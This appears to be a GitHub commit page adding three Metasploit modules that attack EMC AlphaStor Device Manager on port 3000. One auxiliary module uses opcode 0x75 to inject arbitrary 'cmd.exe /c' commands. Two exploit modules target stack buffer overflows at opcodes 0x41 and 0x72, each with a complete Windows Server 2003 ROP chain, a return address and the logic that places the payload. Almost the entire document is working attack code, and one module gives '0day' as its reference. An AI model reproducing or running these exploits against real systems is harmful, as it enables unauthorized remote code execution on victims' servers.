Skip to content

Commit 7972da3

Browse files
inkryptoinkrypto
committed
Files move to appropriate directories and have proper formatting
1 parent 92750cc commit 7972da3

File tree

3 files changed

+286
-0
lines changed

3 files changed

+286
-0
lines changed

‎modules/auxiliary/server/emc_alphastor_75_cmd_injection.rb

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Auxiliary
4+
5+
include Msf::Exploit::Remote::Tcp
6+
7+
def initialize(info = {})
8+
super(update_info(info,
9+
'Name' => 'EMC AlphaStor Device Manager Opcode 0x75',
10+
'Description' => %q{
11+
This module exploits a design flaw within the Device
12+
Manager (rrobtd.exe) which listens on port 3000. When
13+
parsing the 0x75 command, the process does not properly
14+
filter user supplied input allowing for arbitrary command
15+
injection.
16+
},
17+
'Author' => [
18+
'Preston Thornburn', # [email protected]
19+
'Mohsan Farid', # [email protected]
20+
'Brent Morris' # [email protected]
21+
],
22+
'License' => MSF_LICENSE,
23+
'Version' => '$Revision: $',
24+
'References' =>
25+
[
26+
[ 'CVE', '2013-0928' ],
27+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-033/' ]
28+
],
29+
'DisclosureDate' => 'Jan 18 2013'))
30+
31+
register_options(
32+
[
33+
OptString.new('CMD', [ false, 'The OS command to execute', 'calc.exe']),
34+
Opt::RPORT(3000)
35+
], self.class )
36+
end
37+
38+
def run
39+
connect
40+
41+
padding = "\x41" * 512
42+
43+
packet = "\x75~ mminfo &cmd.exe /c #{datastore['CMD']} #{padding}"
44+
45+
print_status("Sending command \'#{datastore['CMD']}\' to the remote host...")
46+
47+
sock.put(packet)
48+
49+
disconnect
50+
end
51+
52+
end

‎modules/exploits/windows/emc/emc_alphastor_41.rb

Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Exploit::Remote
4+
Rank = GreatRanking
5+
6+
include Msf::Exploit::Remote::Tcp
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'EMC AlphaStor Device Manager Opcode 0x41',
11+
'Description' => %q{
12+
This module exploits a stack based buffer overflow vulnerability
13+
found in EMC Alphastor Device Manager. The overflow is triggered
14+
when sending a specially crafted packet to the rrobotd.exe service
15+
listening on port 3000. During the copying of strings to the stack
16+
an unbounded sprintf() function overwrites the return pointer leading
17+
to remote code execution.
18+
},
19+
'Author' => [
20+
'Brent Morris', # [email protected]
21+
'Preston Thornburg', # [email protected]
22+
'Mohsan Farid' # [email protected]
23+
],
24+
'License' => MSF_LICENSE,
25+
'Version' => '$Revision: $',
26+
'References' =>
27+
[
28+
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-035/' ]
29+
],
30+
'DefaultOptions' =>
31+
{
32+
'EXITFUNC' => 'thread',
33+
},
34+
'Privileged' => true,
35+
'Payload' =>
36+
{
37+
'Space' => 160,
38+
'DisableNops' => 'true',
39+
'BadChars' => "\x00\x09\x0a\x0d",
40+
'StackAdjustment' => -404,
41+
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
42+
'Compat' =>
43+
{
44+
'SymbolLookup' => '+ws2ord',
45+
},
46+
},
47+
'Platform' => 'win',
48+
'Targets' =>
49+
[
50+
[
51+
'Windows Server 2003 SP2 EN',
52+
{
53+
# pop eax/ retn
54+
# msvcrt.dll
55+
'Ret' => 0x77bc5d88,
56+
}
57+
],
58+
],
59+
'DefaultTarget' => 0,
60+
'DisclosureDate' => 'Feb 14 2013'))
61+
62+
register_options(
63+
[
64+
Opt::RPORT(3000)
65+
], self.class )
66+
end
67+
68+
def exploit
69+
connect
70+
71+
p = payload.encoded
72+
73+
# msvcrt.dll
74+
# 96 bytes
75+
rop = [
76+
0x77bb2563, # pop eax/ retn
77+
0x77ba1114, # ptr to kernel32!virtualprotect
78+
0x77bbf244, # mov eax, dword ptr [eax]/ pop ebp/ retn
79+
0xfeedface,
80+
0x77bb0c86, # xchg eax, esi/ retn
81+
0x77bc9801, # pop ebp/ retn
82+
0x77be2265,
83+
0x77bb2563, # pop eax/ retn
84+
0x03C0990F,
85+
0x77bdd441, # sub eax, 3c0940fh/ retn
86+
0x77bb48d3, # pop eax/ retn
87+
0x77bf21e0,
88+
0x77bbf102, # xchg eax, ebx/ add byte ptr [eax], al/ retn
89+
0x77bbfc02, # pop ecx/ retn
90+
0x77bef001,
91+
0x77bd8c04, # pop edi/ retn
92+
0x77bd8c05,
93+
0x77bb2563, # pop eax/ retn
94+
0x03c0984f,
95+
0x77bdd441, # sub eax, 3c0940fh/ retn
96+
0x77bb8285, # xchg eax, edx/ retn
97+
0x77bb2563, # pop eax/ retn
98+
0x90909090,
99+
0x77be6591, # pushad/ add al, 0efh/ retn
100+
].pack("V*")
101+
102+
buf = "\xcc" * 550
103+
buf[246, 4] = [target.ret].pack('V')
104+
buf[250, 4] = [0x77bf6f80].pack('V')
105+
buf[254, rop.length] = rop
106+
buf[350, p.length] = p
107+
108+
packet = "\x41#{buf}"
109+
110+
print_status("Trying target %s..." % target.name)
111+
112+
sock.put(packet)
113+
114+
handler
115+
disconnect
116+
end
117+
118+
end

‎modules/exploits/windows/emc/emc_alphastor_72.rb

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Exploit::Remote
4+
Rank = GreatRanking
5+
6+
include Msf::Exploit::Remote::Tcp
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'EMC AlphaStor Device Manager Opcode 0x72',
11+
'Description' => %q{
12+
This module exploits a stack based buffer overflow vulnerability
13+
found in EMC Alphastor Device Manager. The overflow is triggered
14+
when sending a specially crafted packet to the rrobotd.exe service
15+
listening on port 3000. During the copying of strings to the stack
16+
an unbounded sprintf() function overwrites the return pointer
17+
leading to remote code execution.
18+
},
19+
'Author' => [
20+
'Mohsan Farid', # [email protected]
21+
'Preston Thornburg', # [email protected]
22+
'Brent Morris' # [email protected]
23+
],
24+
'License' => MSF_LICENSE,
25+
'Version' => '$Revision: $',
26+
'References' =>
27+
[
28+
[ 'URL', '0day' ],
29+
],
30+
'DefaultOptions' =>
31+
{
32+
'EXITFUNC' => 'thread',
33+
},
34+
'Privileged' => true,
35+
'Payload' =>
36+
{
37+
'Space' => 160,
38+
'DisableNops' => 'true',
39+
'BadChars' => "\x00\x09\x0a\x0d",
40+
'StackAdjustment' => -404,
41+
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
42+
'Compat' =>
43+
{
44+
'ConnectionType' => '+ws2ord',
45+
}
46+
},
47+
'Platform' => 'win',
48+
'Targets' =>
49+
[
50+
[
51+
'Windows Server 2003 SP2 EN',
52+
{
53+
# pop eax/ retn
54+
# msvcrt.dll
55+
'Ret' => 0x77bc5d88,
56+
}
57+
],
58+
],
59+
'DefaultTarget' => 0,
60+
'DisclosureDate' => 'Feb 14 2013'))
61+
62+
register_options(
63+
[
64+
Opt::RPORT(3000)
65+
], self.class )
66+
end
67+
68+
def exploit
69+
connect
70+
71+
# msvcrt.dll
72+
# 96 bytes
73+
rop = [
74+
0x77bb2563, # pop eax/ retn
75+
0x77ba1114, # ptr to kernel32!virtualprotect
76+
0x77bbf244, # mov eax, dword ptr [eax]/ pop ebp/ retn
77+
0xfeedface,
78+
0x77bb0c86, # xchg eax, esi/ retn
79+
0x77bc9801, # pop ebp/ retn
80+
0x77be2265,
81+
0x77bb2563, # pop eax/ retn
82+
0x03C0990F,
83+
0x77bdd441, # sub eax, 3c0940fh/ retn
84+
0x77bb48d3, # pop eax/ retn
85+
0x77bf21e0,
86+
0x77bbf102, # xchg eax, ebx/ add byte ptr [eax], al/ retn
87+
0x77bbfc02, # pop ecx/ retn
88+
0x77bef001,
89+
0x77bd8c04, # pop edi/ retn
90+
0x77bd8c05,
91+
0x77bb2563, # pop eax/ retn
92+
0x03c0984f,
93+
0x77bdd441, # sub eax, 3c0940fh/ retn
94+
0x77bb8285, # xchg eax, edx/ retn
95+
0x77bb2563, # pop eax/ retn
96+
0x90909090,
97+
0x77be6591, # pushad/ add al, 0efh/ retn
98+
].pack("V*")
99+
100+
buf = "\xcc" * 550
101+
buf[246, 4] = [target.ret].pack('V')
102+
buf[250, 4] = [0x77bf6f80].pack('V')
103+
buf[254, rop.length] = rop
104+
buf[350, payload.encoded.length] = payload.encoded
105+
106+
packet = "\x72#{buf}"
107+
108+
print_status("Trying target %s..." % target.name)
109+
110+
sock.put(packet)
111+
112+
handler
113+
disconnect
114+
end
115+
116+
end

0 commit comments

Comments
 (0)